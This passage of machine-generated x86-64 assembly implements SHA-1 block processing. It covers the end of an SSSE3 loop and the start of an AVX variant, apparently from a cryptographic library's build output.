esi,ebx mov edi,ebp rol ebp,5 pxor xmm5,xmm6 add edx,esi xor edi,ebx movdqa xmm10,xmm9 paddd xmm9,xmm4 ror eax,7 add edx,ebp pxor xmm5,xmm8 add ecx,DWORD[20+rsp] xor edi,eax mov esi,edx rol edx,5 movdqa xmm8,xmm5 movdqa XMMWORD[rsp],xmm9 add ecx,edi xor esi,eax ror ebp,7 add ecx,edx pslld xmm5,2 add ebx,DWORD[24+rsp] xor esi,ebp psrld xmm8,30 mov edi,ecx rol ecx,5 add ebx,esi xor edi,ebp ror edx,7 add ebx,ecx por xmm5,xmm8 add eax,DWORD[28+rsp] movdqa xmm9,xmm5 ror ecx,7 mov esi,ebx xor edi,edx rol ebx,5 add eax,edi xor esi,ecx xor ecx,edx add eax,ebx add ebp,DWORD[32+rsp] pxor xmm6,xmm2 DB 102,68,15,58,15,204,8 and esi,ecx xor ecx,edx ror ebx,7 pxor xmm6,xmm7 mov edi,eax xor esi,ecx movdqa xmm8,xmm10 paddd xmm10,xmm5 rol eax,5 add ebp,esi pxor xmm6,xmm9 xor edi,ebx xor ebx,ecx add ebp,eax add edx,DWORD[36+rsp] movdqa xmm9,xmm6 movdqa XMMWORD[16+rsp],xmm10 and edi,ebx xor ebx,ecx ror eax,7 mov esi,ebp pslld xmm6,2 xor edi,ebx rol ebp,5 psrld xmm9,30 add edx,edi xor esi,eax xor eax,ebx add edx,ebp add ecx,DWORD[40+rsp] and esi,eax por xmm6,xmm9 xor eax,ebx ror ebp,7 movdqa xmm10,xmm6 mov edi,edx xor esi,eax rol edx,5 add ecx,esi xor edi,ebp xor ebp,eax add ecx,edx add ebx,DWORD[44+rsp] and edi,ebp xor ebp,eax ror edx,7 mov esi,ecx xor edi,ebp rol ecx,5 add ebx,edi xor esi,edx xor edx,ebp add ebx,ecx add eax,DWORD[48+rsp] pxor xmm7,xmm3 DB 102,68,15,58,15,213,8 and esi,edx xor edx,ebp ror ecx,7 pxor xmm7,xmm0 mov edi,ebx xor esi,edx movdqa xmm9,XMMWORD[48+r11] paddd xmm8,xmm6 rol ebx,5 add eax,esi pxor xmm7,xmm10 xor edi,ecx xor ecx,edx add eax,ebx add ebp,DWORD[52+rsp] movdqa xmm10,xmm7 movdqa XMMWORD[32+rsp],xmm8 and edi,ecx xor ecx,edx ror ebx,7 mov esi,eax pslld xmm7,2 xor edi,ecx rol eax,5 psrld xmm10,30 add ebp,edi xor esi,ebx xor ebx,ecx add ebp,eax add edx,DWORD[56+rsp] and esi,ebx por xmm7,xmm10 xor ebx,ecx ror eax,7 movdqa xmm8,xmm7 mov edi,ebp xor esi,ebx rol ebp,5 add edx,esi xor edi,eax xor eax,ebx add edx,ebp add ecx,DWORD[60+rsp] and edi,eax xor eax,ebx ror ebp,7 mov esi,edx xor edi,eax rol edx,5 add ecx,edi xor esi,ebp xor ebp,eax add ecx,edx add ebx,DWORD[rsp] pxor xmm0,xmm4 DB 102,68,15,58,15,198,8 and esi,ebp xor ebp,eax ror edx,7 pxor xmm0,xmm1 mov edi,ecx xor esi,ebp movdqa xmm10,xmm9 paddd xmm9,xmm7 rol ecx,5 add ebx,esi pxor xmm0,xmm8 xor edi,edx xor edx,ebp add ebx,ecx add eax,DWORD[4+rsp] movdqa xmm8,xmm0 movdqa XMMWORD[48+rsp],xmm9 and edi,edx xor edx,ebp ror ecx,7 mov esi,ebx pslld xmm0,2 xor edi,edx rol ebx,5 psrld xmm8,30 add eax,edi xor esi,ecx xor ecx,edx add eax,ebx add ebp,DWORD[8+rsp] and esi,ecx por xmm0,xmm8 xor ecx,edx ror ebx,7 movdqa xmm9,xmm0 mov edi,eax xor esi,ecx rol eax,5 add ebp,esi xor edi,ebx xor ebx,ecx add ebp,eax add edx,DWORD[12+rsp] and edi,ebx xor ebx,ecx ror eax,7 mov esi,ebp xor edi,ebx rol ebp,5 add edx,edi xor esi,eax xor eax,ebx add edx,ebp add ecx,DWORD[16+rsp] pxor xmm1,xmm5 DB 102,68,15,58,15,207,8 and esi,eax xor eax,ebx ror ebp,7 pxor xmm1,xmm2 mov edi,edx xor esi,eax movdqa xmm8,xmm10 paddd xmm10,xmm0 rol edx,5 add ecx,esi pxor xmm1,xmm9 xor edi,ebp xor ebp,eax add ecx,edx add ebx,DWORD[20+rsp] movdqa xmm9,xmm1 movdqa XMMWORD[rsp],xmm10 and edi,ebp xor ebp,eax ror edx,7 mov esi,ecx pslld xmm1,2 xor edi,ebp rol ecx,5 psrld xmm9,30 add ebx,edi xor esi,edx xor edx,ebp add ebx,ecx add eax,DWORD[24+rsp] and esi,edx por xmm1,xmm9 xor edx,ebp ror ecx,7 movdqa xmm10,xmm1 mov edi,ebx xor esi,edx rol ebx,5 add eax,esi xor edi,ecx xor ecx,edx add eax,ebx add ebp,DWORD[28+rsp] and edi,ecx xor ecx,edx ror ebx,7 mov esi,eax xor edi,ecx rol eax,5 add ebp,edi xor esi,ebx xor ebx,ecx add ebp,eax add edx,DWORD[32+rsp] pxor xmm2,xmm6 DB 102,68,15,58,15,208,8 and esi,ebx xor ebx,ecx ror eax,7 pxor xmm2,xmm3 mov edi,ebp xor esi,ebx movdqa xmm9,xmm8 paddd xmm8,xmm1 rol ebp,5 add edx,esi pxor xmm2,xmm10 xor edi,eax xor eax,ebx add edx,ebp add ecx,DWORD[36+rsp] movdqa xmm10,xmm2 movdqa XMMWORD[16+rsp],xmm8 and edi,eax xor eax,ebx ror ebp,7 mov esi,edx pslld xmm2,2 xor edi,eax rol edx,5 psrld xmm10,30 add ecx,edi xor esi,ebp xor ebp,eax add ecx,edx add ebx,DWORD[40+rsp] and esi,ebp por xmm2,xmm10 xor ebp,eax ror edx,7 movdqa xmm8,xmm2 mov edi,ecx xor esi,ebp rol ecx,5 add ebx,esi xor edi,edx xor edx,ebp add ebx,ecx add eax,DWORD[44+rsp] and edi,edx xor edx,ebp ror ecx,7 mov esi,ebx xor edi,edx rol ebx,5 add eax,edi xor esi,edx add eax,ebx add ebp,DWORD[48+rsp] pxor xmm3,xmm7 DB 102,68,15,58,15,193,8 xor esi,ecx mov edi,eax rol eax,5 pxor xmm3,xmm4 add ebp,esi xor edi,ecx movdqa xmm10,xmm9 paddd xmm9,xmm2 ror ebx,7 add ebp,eax pxor xmm3,xmm8 add edx,DWORD[52+rsp] xor edi,ebx mov esi,ebp rol ebp,5 movdqa xmm8,xmm3 movdqa XMMWORD[32+rsp],xmm9 add edx,edi xor esi,ebx ror eax,7 add edx,ebp pslld xmm3,2 add ecx,DWORD[56+rsp] xor esi,eax psrld xmm8,30 mov edi,edx rol edx,5 add ecx,esi xor edi,eax ror ebp,7 add ecx,edx por xmm3,xmm8 add ebx,DWORD[60+rsp] xor edi,ebp mov esi,ecx rol ecx,5 add ebx,edi xor esi,ebp ror edx,7 add ebx,ecx add eax,DWORD[rsp] paddd xmm10,xmm3 xor esi,edx mov edi,ebx rol ebx,5 add eax,esi movdqa XMMWORD[48+rsp],xmm10 xor edi,edx ror ecx,7 add eax,ebx add ebp,DWORD[4+rsp] xor edi,ecx mov esi,eax rol eax,5 add ebp,edi xor esi,ecx ror ebx,7 add ebp,eax add edx,DWORD[8+rsp] xor esi,ebx mov edi,ebp rol ebp,5 add edx,esi xor edi,ebx ror eax,7 add edx,ebp add ecx,DWORD[12+rsp] xor edi,eax mov esi,edx rol edx,5 add ecx,edi xor esi,eax ror ebp,7 add ecx,edx cmp r9,r10 je NEAR $L$done_ssse3 movdqa xmm6,XMMWORD[64+r11] movdqa xmm9,XMMWORD[r11] movdqu xmm0,XMMWORD[r9] movdqu xmm1,XMMWORD[16+r9] movdqu xmm2,XMMWORD[32+r9] movdqu xmm3,XMMWORD[48+r9] DB 102,15,56,0,198 add r9,64 add ebx,DWORD[16+rsp] xor esi,ebp DB 102,15,56,0,206 mov edi,ecx rol ecx,5 paddd xmm0,xmm9 add ebx,esi xor edi,ebp ror edx,7 add ebx,ecx movdqa XMMWORD[rsp],xmm0 add eax,DWORD[20+rsp] xor edi,edx psubd xmm0,xmm9 mov esi,ebx rol ebx,5 add eax,edi xor esi,edx ror ecx,7 add eax,ebx add ebp,DWORD[24+rsp] xor esi,ecx mov edi,eax rol eax,5 add ebp,esi xor edi,ecx ror ebx,7 add ebp,eax add edx,DWORD[28+rsp] xor edi,ebx mov esi,ebp rol ebp,5 add edx,edi xor esi,ebx ror eax,7 add edx,ebp add ecx,DWORD[32+rsp] xor esi,eax DB 102,15,56,0,214 mov edi,edx rol edx,5 paddd xmm1,xmm9 add ecx,esi xor edi,eax ror ebp,7 add ecx,edx movdqa XMMWORD[16+rsp],xmm1 add ebx,DWORD[36+rsp] xor edi,ebp psubd xmm1,xmm9 mov esi,ecx rol ecx,5 add ebx,edi xor esi,ebp ror edx,7 add ebx,ecx add eax,DWORD[40+rsp] xor esi,edx mov edi,ebx rol ebx,5 add eax,esi xor edi,edx ror ecx,7 add eax,ebx add ebp,DWORD[44+rsp] xor edi,ecx mov esi,eax rol eax,5 add ebp,edi xor esi,ecx ror ebx,7 add ebp,eax add edx,DWORD[48+rsp] xor esi,ebx DB 102,15,56,0,222 mov edi,ebp rol ebp,5 paddd xmm2,xmm9 add edx,esi xor edi,ebx ror eax,7 add edx,ebp movdqa XMMWORD[32+rsp],xmm2 add ecx,DWORD[52+rsp] xor edi,eax psubd xmm2,xmm9 mov esi,edx rol edx,5 add ecx,edi xor esi,eax ror ebp,7 add ecx,edx add ebx,DWORD[56+rsp] xor esi,ebp mov edi,ecx rol ecx,5 add ebx,esi xor edi,ebp ror edx,7 add ebx,ecx add eax,DWORD[60+rsp] xor edi,edx mov esi,ebx rol ebx,5 add eax,edi ror ecx,7 add eax,ebx add eax,DWORD[r8] add esi,DWORD[4+r8] add ecx,DWORD[8+r8] add edx,DWORD[12+r8] mov DWORD[r8],eax add ebp,DWORD[16+r8] mov DWORD[4+r8],esi mov ebx,esi mov DWORD[8+r8],ecx mov edi,ecx mov DWORD[12+r8],edx xor edi,edx mov DWORD[16+r8],ebp and esi,edi jmp NEAR $L$oop_ssse3 ALIGN 16 $L$done_ssse3: add ebx,DWORD[16+rsp] xor esi,ebp mov edi,ecx rol ecx,5 add ebx,esi xor edi,ebp ror edx,7 add ebx,ecx add eax,DWORD[20+rsp] xor edi,edx mov esi,ebx rol ebx,5 add eax,edi xor esi,edx ror ecx,7 add eax,ebx add ebp,DWORD[24+rsp] xor esi,ecx mov edi,eax rol eax,5 add ebp,esi xor edi,ecx ror ebx,7 add ebp,eax add edx,DWORD[28+rsp] xor edi,ebx mov esi,ebp rol ebp,5 add edx,edi xor esi,ebx ror eax,7 add edx,ebp add ecx,DWORD[32+rsp] xor esi,eax mov edi,edx rol edx,5 add ecx,esi xor edi,eax ror ebp,7 add ecx,edx add ebx,DWORD[36+rsp] xor edi,ebp mov esi,ecx rol ecx,5 add ebx,edi xor esi,ebp ror edx,7 add ebx,ecx add eax,DWORD[40+rsp] xor esi,edx mov edi,ebx rol ebx,5 add eax,esi xor edi,edx ror ecx,7 add eax,ebx add ebp,DWORD[44+rsp] xor edi,ecx mov esi,eax rol eax,5 add ebp,edi xor esi,ecx ror ebx,7 add ebp,eax add edx,DWORD[48+rsp] xor esi,ebx mov edi,ebp rol ebp,5 add edx,esi xor edi,ebx ror eax,7 add edx,ebp add ecx,DWORD[52+rsp] xor edi,eax mov esi,edx rol edx,5 add ecx,edi xor esi,eax ror ebp,7 add ecx,edx add ebx,DWORD[56+rsp] xor esi,ebp mov edi,ecx rol ecx,5 add ebx,esi xor edi,ebp ror edx,7 add ebx,ecx add eax,DWORD[60+rsp] xor edi,edx mov esi,ebx rol ebx,5 add eax,edi ror ecx,7 add eax,ebx add eax,DWORD[r8] add esi,DWORD[4+r8] add ecx,DWORD[8+r8] mov DWORD[r8],eax add edx,DWORD[12+r8] mov DWORD[4+r8],esi add ebp,DWORD[16+r8] mov DWORD[8+r8],ecx mov DWORD[12+r8],edx mov DWORD[16+r8],ebp movaps xmm6,XMMWORD[((64+0))+rsp] movaps xmm7,XMMWORD[((64+16))+rsp] movaps xmm8,XMMWORD[((64+32))+rsp] movaps xmm9,XMMWORD[((64+48))+rsp] movaps xmm10,XMMWORD[((64+64))+rsp] movaps xmm11,XMMWORD[((64+80))+rsp] lea rsi,[160+rsp] mov r12,QWORD[rsi] mov rbp,QWORD[8+rsi] mov rbx,QWORD[16+rsi] lea rsp,[24+rsi] $L$epilogue_ssse3: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_sha1_block_data_order_ssse3: ALIGN 16 sha1_block_data_order_avx: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_sha1_block_data_order_avx: mov rdi,rcx mov rsi,rdx mov rdx,r8 _avx_shortcut: push rbx push rbp push r12 lea rsp,[((-160))+rsp] movaps XMMWORD[(64+0)+rsp],xmm6 movaps XMMWORD[(64+16)+rsp],xmm7 movaps XMMWORD[(64+32)+rsp],xmm8 movaps XMMWORD[(64+48)+rsp],xmm9 movaps XMMWORD[(64+64)+rsp],xmm10 movaps XMMWORD[(64+80)+rsp],xmm11 $L$prologue_avx: mov r8,rdi mov r9,rsi mov r10,rdx vzeroall shl r10,6 add r10,r9 lea r11,[K_XX_XX] mov eax,DWORD[r8] mov ebx,DWORD[4+r8] mov ecx,DWORD[8+r8] mov edx,DWORD[12+r8] mov esi,ebx mov ebp,DWORD[16+r8] mov edi,ecx xor edi,edx and esi,edi vmovdqa xmm6,XMMWORD[64+r11] vmovdqa xmm11,XMMWORD[r11] vmovdqu xmm0,XMMWORD[r9] vmovdqu xmm1,XMMWORD[16+r9] vmovdqu xmm2,XMMWORD[32+r9] vmovdqu xmm3,XMMWORD[48+r9] vpshufb xmm0,xmm0,xmm6 add r9,64 vpshufb xmm1,xmm1,xmm6 vpshufb xmm2,xmm2,xmm6 vpshufb xmm3,xmm3,xmm6 vpaddd xmm4,xmm0,xmm11 vpaddd xmm5,xmm1,xmm11 vpaddd xmm6,xmm2,xmm11 vmovdqa XMMWORD[rsp],xmm4 vmovdqa XMMWORD[16+rsp],xmm5 vmovdqa XMMWORD[32+rsp],xmm6 jmp NEAR $L$oop_avx ALIGN 16 $L$oop_avx: shrd ebx,ebx,2 xor esi,edx vpalignr xmm4,xmm1,xmm0,8 mov edi,eax add ebp,DWORD[rsp] vpaddd xmm9,xmm11,xmm3 xor ebx,ecx shld eax,eax,5 vpsrldq xmm8,xmm3,4 add ebp,esi and edi,ebx vpxor xmm4,xmm4,xmm0 xor ebx,ecx add ebp,eax vpxor xmm8,xmm8,xmm2 shrd eax,eax,7 xor edi,ecx mov esi,ebp add edx,DWORD[4+rsp] vpxor xmm4,xmm4,xmm8 xor eax,ebx shld ebp,ebp,5 vmovdqa XMMWORD[48+rsp],xmm9 add edx,edi and esi,eax vpsrld xmm8,xmm4,31 xor eax,ebx add edx,ebp shrd ebp,ebp,7 xor esi,ebx vpslldq xmm10,xmm4,12 vpaddd xmm4,xmm4,xmm4 mov edi,edx add ecx,DWORD[8+rsp] xor ebp,eax shld edx,edx,5 vpsrld xmm9,xmm10,30 vpor xmm4,xmm4,xmm8 add ecx,esi and edi,ebp xor ebp,eax add ecx,edx vpslld xmm10,xmm10,2 vpxor xmm4,xmm4,xmm9 shrd edx,edx,7 xor edi,eax mov esi,ecx add ebx,DWORD[12+rsp] vpxor xmm4,xmm4,xmm10 xor edx,ebp shld ecx,ecx,5 add ebx,edi and esi,edx xor edx,ebp add ebx,ecx shrd ecx,ecx,7 xor esi,ebp vpalignr xmm5,xmm2,xmm1,8 mov edi,ebx add eax,DWORD[16+rsp] vpaddd xmm9,xmm11,xmm4 xor ecx,edx shld ebx,ebx,5 vpsrldq xmm8,xmm4,4 add eax,esi and edi,ecx vpxor xmm5,xmm5,xmm1 xor ecx,edx add eax,ebx vpxor xmm8,xmm8,xmm3 shrd ebx,ebx,7 xor edi,edx mov esi,eax add ebp,DWORD[20+rsp] vpxor xmm5,xmm5,xmm8 xor ebx,ecx shld eax,eax,5 vmovdqa XMMWORD[rsp],xmm9 add ebp,edi and esi,ebx vpsrld xmm8,xmm5,31 xor ebx,ecx add ebp,eax shrd eax,eax,7 xor esi,ecx vpslldq xmm10,xmm5,12 vpaddd xmm5,xmm5,xmm5 mov edi,ebp add edx,DWORD[24+rsp] xor eax,ebx shld ebp,ebp,5 vpsrld xmm9,xmm10,30 vpor xmm5,xmm5,xmm8 add edx,esi and edi,eax xor eax,ebx add edx,ebp vpslld xmm10,xmm10,2 vpxor xmm5,xmm5,xmm9 shrd ebp,ebp,7 xor edi,ebx mov esi,edx add ecx,DWORD[28+rsp] vpxor xmm5,xmm5,xmm10 xor ebp,eax shld edx,edx,5 vmovdqa xmm11,XMMWORD[16+r11] add ecx,edi and esi,ebp xor ebp,eax add ecx,edx shrd edx,edx,7 xor esi,eax vpalignr xmm6,xmm3,xmm2,8 mov edi,ecx add ebx,DWORD[32+rsp] vpaddd xmm9,xmm11,xmm5 xor edx,ebp shld ecx,ecx,5 vpsrldq xmm8,xmm5,4 add ebx,esi and edi,edx vpxor xmm6,xmm6,xmm2 xor edx,ebp add ebx,ecx vpxor xmm8,xmm8,xmm4 shrd ecx,ecx,7 xor edi,ebp mov esi,ebx add eax,DWORD[36+rsp] vpxor xmm6,xmm6,xmm8 xor ecx,edx shld ebx,ebx,5 vmovdqa XMMWORD[16+rsp],xmm9 add eax,edi and esi,ecx vpsrld xmm8,xmm6,31 xor ecx,edx add eax,ebx shrd ebx,ebx,7 xor esi,edx vpslldq xmm10,xmm6,12 vpaddd xmm6,xmm6,xmm6 mov edi,eax add ebp,DWORD[40+rsp] xor ebx,ecx shld eax,eax,5 vpsrld xmm9,xmm10,30 vpor xmm6,xmm6,xmm8 add ebp,esi and edi,ebx xor ebx,ecx add ebp,eax vpslld xmm10,xmm10,2 vpxor xmm6,xmm6,xmm9 shrd eax,eax,7 xor edi,ecx mov esi,ebp add edx,DWORD[44+rsp] vpxor xmm6,xmm6,xmm10 xor eax,ebx shld ebp,ebp,5 add edx,edi and esi,eax xor eax,ebx add edx,ebp shrd ebp,ebp,7 xor esi,ebx vpalignr xmm7,xmm4,xmm3,8 mov edi,edx add ecx,DWORD[48+rsp] vpaddd xmm9,xmm11,xmm6 xor ebp,eax shld edx,edx,5 vpsrldq xmm8,xmm6,4 add ecx,esi and edi,ebp vpxor xmm7,xmm7,xmm3 xor ebp,eax add ecx,edx vpxor xmm8,xmm8,xmm5 shrd edx,edx,7 xor edi,eax mov esi,ecx add ebx,DWORD[52+rsp] vpxor xmm7,xmm7,xmm8 xor edx,ebp shld ecx,ecx,5 vmovdqa XMMWORD[32+rsp],xmm9 add ebx,edi and esi,edx vpsrld xmm8,xmm7,31 xor edx,ebp add ebx,ecx shrd ecx,ecx,7 xor esi,ebp vpslldq xmm10,xmm7,12 vpaddd xmm7,xmm7,xmm7 mov edi,ebx add eax,DWORD[56+rsp] xor ecx,edx shld ebx,ebx,5 vpsrld xmm9,xmm10,30 vpor xmm7,xmm7,xmm8 add eax,esi and edi,ecx xor ecx,edx add eax,ebx vpslld xmm10,xmm10,2 vpxor xmm7,xmm7,xmm9 shrd ebx,ebx,7 xor edi,edx mov esi,eax add ebp,DWORD[60+rsp] vpxor xmm7,xmm7,xmm10 xor ebx,ecx shld eax,eax,5 add ebp,edi and esi,ebx xor ebx,ecx add ebp,eax vpalignr xmm8,xmm7,xmm6,8 vpxor xmm0,xmm0,xmm4 shrd eax,eax,7 xor esi,ecx mov edi,ebp add edx,DWORD[rsp] vpxor xmm0,xmm0,xmm1 xor eax,ebx shld ebp,ebp,5 vpaddd xmm9,xmm11,xmm7 add edx,esi and edi,eax vpxor xmm0,xmm0,xmm8 xor eax,ebx add edx,ebp shrd ebp,ebp,7 xor edi,ebx vpsrld xmm8,xmm0,30 vmovdqa XMMWORD[48+rsp],xmm9 mov esi,edx add ecx,DWORD[4+rsp] xor ebp,eax shld edx,edx,5 vpslld xmm0,xmm0,2 add ecx,edi and esi,ebp xor ebp,eax add ecx,edx shrd edx,edx,7 xor esi,eax mov edi,ecx add ebx,DWORD[8+rsp] vpor xmm0,xmm0,xmm8 xor edx,ebp shld ecx,ecx,5 add ebx,esi and edi,edx xor edx,ebp add ebx,ecx add eax,DWORD[12+rsp] xor edi,ebp mov esi,ebx shld ebx,ebx,5 add eax,edi xor esi,edx shrd ecx,ecx,7 add eax,ebx vpalignr xmm8,xmm0,xmm7,8 vpxor xmm1,xmm1,xmm5 add ebp,DWORD[16+rsp] xor esi,ecx mov edi,eax shld eax,eax,5 vpxor xmm1,xmm1,xmm2 add ebp,esi xor edi,ecx vpaddd xmm9,xmm11,xmm0 shrd ebx,ebx,7 add ebp,eax vpxor xmm1,xmm1,xmm8 add edx,DWORD[20+rsp] xor edi,ebx mov esi,ebp shld ebp,ebp,5 vpsrld xmm8,xmm1,30 vmovdqa XMMWORD[rsp],xmm9 add edx,edi xor esi,ebx shrd eax,eax,7 add edx,ebp vpslld xmm1,xmm1,2 add ecx,DWORD[24+rsp] xor esi,eax mov edi,edx shld edx,edx,5 add ecx,esi xor edi,eax shrd ebp,ebp,7 add ecx,edx vpor xmm1,xmm1,xmm8 add ebx,DWORD[28+rsp] xor edi,ebp mov esi,ecx shld ecx,ecx,5 add ebx,edi xor esi,ebp shrd edx,edx,7 add ebx,ecx vpalignr xmm8,xmm1,xmm0,8 vpxor xmm2,xmm2,xmm6 add eax,DWORD[32+rsp] xor esi,edx mov edi,ebx shld ebx,ebx,5 vpxor xmm2,xmm2,xmm3 add eax,esi xor edi,edx vpaddd xmm9,xmm11,xmm1 vmovdqa xmm11,XMMWORD[32+r11] shrd ecx,ecx,7 add eax,ebx vpxor xmm2,xmm2,xmm8 add ebp,DWORD[36+rsp] xor edi,ecx mov esi,eax shld eax,eax,5 vpsrld xmm8,xmm2,30 vmovdqa XMMWORD[16+rsp],xmm9 add ebp,edi xor esi,ecx shrd ebx,ebx,7 add ebp,eax vpslld xmm2,xmm2,2 add edx,DWORD[40+rsp] xor esi,ebx mov edi,ebp shld ebp,ebp,5 add edx,esi xor edi,ebx shrd eax,eax,7 add edx,ebp vpor xmm2,xmm2,xmm8 add ecx,DWORD[44+rsp] xor edi,eax mov esi,edx shld edx,edx,5 add ecx,edi xor esi,eax shrd ebp,ebp,7 add ecx,edx vpalignr xmm8,xmm2,xmm1,8 vpxor xmm3,xmm3,xmm7 add ebx,DWORD[48+rsp] xor esi,ebp mov edi,ecx shld ecx,ecx,5 vpxor xmm3,xmm3,xmm4 add ebx,esi xor edi,ebp vpaddd xmm9,xmm11,xmm2 shrd edx,edx,7 add ebx,ecx vpxor xmm3,xmm3,xmm8 add eax,DWORD[52+rsp] xor edi,edx mov esi,ebx shld ebx,ebx,5 vpsrld xmm8,xmm3,30 vmovdqa XMMWORD[32+rsp],xmm9 add eax,edi xor esi,edx shrd ecx,ecx,7 add eax,ebx vpslld xmm3,xmm3,2 add ebp,DWORD[56+rsp] xor esi,ecx mov edi,eax shld eax,eax,5 add ebp,esi xor edi,ecx shrd ebx,ebx,7 add ebp,eax vpor xmm3,xmm3,xmm8 add edx,DWORD[60+rsp] xor edi,ebx mov esi,ebp shld ebp,ebp,5 add edx,edi xor esi,ebx shrd eax,eax,7 add edx,ebp vpalignr xmm8,xmm3,xmm2,8 vpxor xmm4,xmm4,xmm0 add ecx,DWORD[rsp] xor esi,eax mov edi,edx shld edx,edx,5 vpxor xmm4,xmm4,xmm5 add ecx,esi xor edi,eax vpaddd xmm9,xmm11,xmm3 shrd ebp,ebp,7 add ecx,edx vpxor xmm4,xmm4,xmm8 add ebx,DWORD[4+rsp] xor edi,ebp mov esi,ecx shld ecx,ecx,5 vpsrld xmm8,xmm4,30 vmovdqa XMMWORD[48+rsp],xmm9 add ebx,edi xor esi,ebp shrd edx,edx,7 add ebx,ecx vpslld xmm4,xmm4,2 add eax,DWORD[8+rsp] xor esi,edx mov edi,ebx shld ebx,ebx,5 add eax,esi xor edi,edx shrd ecx,ecx,7 add eax,ebx vpor xmm4,xmm4,xmm8 add ebp,DWORD[12+rsp] xor edi,ecx mov esi,eax shld eax,eax,5 add ebp,edi xor esi,ecx shrd ebx,ebx,7 add ebp,eax vpalignr xmm8,xmm4,xmm3,8 vpxor xmm5,xmm5,xmm1 add edx,DWORD[16+rsp] xor esi,ebx mov edi,ebp shld ebp,ebp,5 vpxor xmm5,xmm5,xmm6 add edx,esi xor edi,ebx vpaddd xmm9,xmm11,xmm4 shrd eax,eax,7 add edx,ebp vpxor xmm5,xmm5,xmm8 add ecx,DWORD[20+rsp] xor edi,eax mov esi,edx shld edx,edx,5 vpsrld xmm8,xmm5,30 vmovdqa XMMWORD[rsp],xmm9 add ecx,edi xor esi,eax shrd ebp,ebp,7 add ecx,edx vpslld xmm5,xmm5,2 add ebx,DWORD[24+rsp] xor esi,ebp mov edi,ecx shld ecx,ecx,5 add ebx,esi xor edi,ebp shrd edx,edx,7 add ebx,ecx vpor xmm5,xmm5,xmm8 add eax,DWORD[28+rsp] shrd ecx,ecx,7 mov esi,ebx xor edi,edx shld ebx,ebx,5 add eax,edi xor esi,ecx xor ecx,edx add eax,ebx vpalignr xmm8,xmm5,xmm4,8 vpxor xmm6,xmm6,xmm2 add ebp,DWORD[32+rsp] and esi,ecx xor ecx,edx shrd ebx,ebx,7 vpxor xmm6,xmm6,xmm7 mov edi,eax xor esi,ecx vpaddd xmm9,xmm11,xmm5 shld eax,eax,5 add ebp,esi vpxor xmm6,xmm6,xmm8 xor edi,ebx xor ebx,ecx add ebp,eax add edx,DWORD[36+rsp] vpsrld xmm8,xmm6,30 vmovdqa XMMWORD[16+rsp],xmm9 and edi,ebx xor ebx,ecx shrd eax,eax,7 mov esi,ebp vpslld xmm6,xmm6,2 xor edi,ebx shld ebp,ebp,5 add edx,edi xor esi,eax xor eax,ebx add edx,ebp add ecx,DWORD[40+rsp] and esi,eax vpor xmm6,xmm6,xmm8 xor eax,ebx shrd ebp,ebp,7 mov edi,edx xor esi,eax shld edx,edx,5 add ecx,esi xor edi,ebp xor ebp,eax add ecx,edx add ebx,DWORD[44+rsp] and edi,ebp xor ebp,eax shrd edx,edx,7 mov esi,ecx xor edi,ebp shld ecx,ecx,5 add ebx,edi xor esi,edx xor edx,ebp add ebx,ecx vpalignr xmm8,xmm6,xmm5,8 vpxor xmm7,xmm7,xmm3 add eax,DWORD[48+rsp] and esi,edx xor edx,ebp shrd ecx,ecx,7 vpxor xmm7,xmm7,xmm0 mov edi,ebx xor esi,edx vpaddd xmm9,xmm11,xmm6 vmovdqa xmm11,XMMWORD[48+r11] shld ebx,ebx,5 add eax,esi vpxor xmm7,xmm7,xmm8 xor edi,ecx xor ecx,edx add eax,ebx add ebp,DWORD[52+rsp] vpsrld xmm8,xmm7,30 vmovdqa XMMWORD[32+rsp],xmm9 and edi,ecx xor ecx,edx shrd ebx,ebx,7 mov esi,eax vpslld xmm7,xmm7,2 xor edi,ecx shld eax,eax,5 add ebp,edi xor esi,ebx xor ebx,ecx add ebp,eax add edx,DWORD[56+rsp] and esi,ebx vpor xmm7,xmm7,xmm8 xor ebx,ecx shrd eax,eax,7 mov edi,ebp xor esi,ebx shld ebp,ebp,5 add edx,esi xor edi,eax xor eax,ebx add edx,ebp add ecx,DWORD[60+rsp] and edi,eax xor eax,ebx shrd ebp,ebp,7 mov esi,edx xor edi,eax shld edx,edx,5 add ecx,edi xor esi,ebp xor ebp,eax add ecx,edx vpalignr xmm8,xmm7,xmm6,8 vpxor xmm0,xmm0,xmm4 add ebx,DWORD[rsp] and esi,ebp xor ebp,eax shrd edx,edx,7 vpxor xmm0,xmm0,xmm1 mov edi,ecx xor esi,ebp vpaddd xmm9,xmm11,xmm7 shld ecx,ecx,5 add ebx,esi vpxor xmm0,xmm0,xmm8 xor edi,edx xor edx,ebp add ebx,ecx add eax,DWORD[4+rsp] vpsrld xmm8,xmm0,30 vmovdqa XMMWORD[48+rsp],xmm9 and edi,edx xor edx,ebp shrd ecx,ecx,7 mov esi,ebx vpslld xmm0,xmm0,2 xor edi,edx shld ebx,ebx,5 add eax,edi xor esi,ecx xor ecx,edx add eax,ebx add ebp,DWORD[8+rsp] and esi,ecx vpor xmm0,xmm0,xmm8 xor ecx,edx shrd ebx,ebx,7 mov edi,eax xor esi,ecx shld eax,eax,5 add ebp,esi xor edi,ebx xor ebx,ecx add ebp,eax add edx,DWORD[12+rsp] and edi,ebx xor ebx,ecx shrd eax,eax,7 mov esi,ebp xor edi,ebx shld ebp,ebp,5 add edx,edi xor esi,eax xor eax,ebx add edx,ebp vpalignr xmm8,xmm0,xmm7,8 vpxor xmm1,xmm1,xmm5 add ecx,DWORD[16+rsp] and esi,eax xor eax,ebx shrd ebp,ebp,7 vpxor xmm1,xmm1,xmm2 mov edi,edx xor esi,eax vpaddd xmm9,xmm11,xmm0 shld edx,edx,5 add ecx,esi vpxor xmm1,xmm1,xmm8 xor edi,ebp xor ebp,eax add ecx,edx add ebx,DWORD[20+rsp] vpsrld xmm8,xmm1,30 vmovdqa XMMWORD[rsp],xmm9 and edi,ebp xor ebp,eax shrd edx,edx,7 mov esi,ecx vpslld xmm1,xmm1,2 xor edi,ebp shld ecx,ecx,5 add ebx,edi xor esi,edx xor edx,ebp add ebx,ecx add eax,DWORD[24+rsp] and esi,edx vpor xmm1,xmm1,xmm8 xor edx,ebp shrd ecx,ecx,7 mov edi,ebx xor esi,edx shld ebx,ebx,5 add eax,esi xor edi,ecx xor ecx,edx add eax,ebx add ebp,DWORD[28+rsp] and edi,ecx xor ecx,edx shrd ebx,ebx,7 mov 